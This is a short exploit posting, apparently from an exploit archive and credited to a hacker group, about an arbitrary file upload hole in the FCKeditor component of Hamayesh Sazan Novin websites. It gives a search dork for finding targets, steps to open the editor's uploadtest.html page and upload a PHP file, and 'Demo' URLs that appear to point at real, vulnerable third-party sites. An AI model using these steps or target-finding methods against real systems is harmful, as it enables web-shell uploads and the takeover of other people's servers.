Hamayesh Sazan Novin (fckeditor) Arbitrary File Upload Vulnerability

====================================================================
Hamayesh Sazan Novin (fckeditor) Arbitrary File Upload Vulnerability
====================================================================

###################################################
#
# Exploit Title: Hamayesh Sazan Novin (fckeditor)
# Author: Net.Edit0r
# Software Link: http://www.hamayeshsazan.com
# Version: All Version
# Tested on: Linux Ubuntu 9.04
# dork : "Designed & Developed By Hamayesh Sazan Novin"
# Contact: [email protected] ~ [email protected]
#
####################################################
---------------
Black Hat Group
---------------

exploit # editor/filemanager/connectors/uploadtest.html

first go to # http://site.com/[path]

then #
http://www.site.com/[path]/editor/filemanager/connectors/uploadtest.html

select # Select the "File Uploader"> php ... upload to :
Uploaded File URL:

Demo :
http://www.irangeneticscongress.com/genetics/editor/filemanager/connectors/
uploadtest.html

Demo :
http://www.kicm2011.ir/editor/filemanager/connectors/uploadtest.html

#######################################################

Home : datacoders.org ~ ajaxtm.com #Iranian HackerZ

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Greetz : 1337 Exploit DataBase (1337db.com) , HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , Zalatan
     BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic  ~ keracker



#  0day.today [2018-04-09]  #